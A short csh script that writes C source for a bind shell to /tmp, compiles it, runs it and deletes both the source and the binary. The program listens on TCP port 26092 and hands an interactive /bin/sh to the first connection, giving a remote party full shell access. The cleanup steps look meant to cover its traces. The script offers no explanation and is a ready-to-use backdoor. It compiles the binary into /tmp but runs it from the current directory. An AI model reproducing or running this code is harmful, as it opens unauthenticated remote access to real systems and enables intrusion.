#!/bin/csh

cat > /tmp/sashimi.c << EOF
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<unistd.h>
#include<string.h>
#include<netinet/in.h>
#include<arpa/inet.h>

int main(void)
{
  int s,s2;
  struct sockaddr_in saddr;
  struct sockaddr_in daddr;
  int daddrlen,p;
  
  s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  memset(&saddr,0,sizeof(struct sockaddr_in));
  saddr.sin_port=htons(26092);
  saddr.sin_family=AF_INET;
  while(bind(s,(struct sockaddr *) &saddr,sizeof(struct sockaddr_in))==-1);
  listen(s,0);
  daddrlen=sizeof(struct sockaddr_in);
  s2=accept(s,(struct sockaddr *)&daddr,&daddrlen);
  dup2(s2,0);
  dup2(s2,1);
  dup2(s2,2);
  execl("/bin/sh","/bin/sh","-i",0);
  return 0;
}

EOF

setenv PATH "/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin"

gcc -o /tmp/sashimi /tmp/sashimi.c
rm -f /tmp/sashimi.c
./sashimi
rm -f /tmp/sashimi

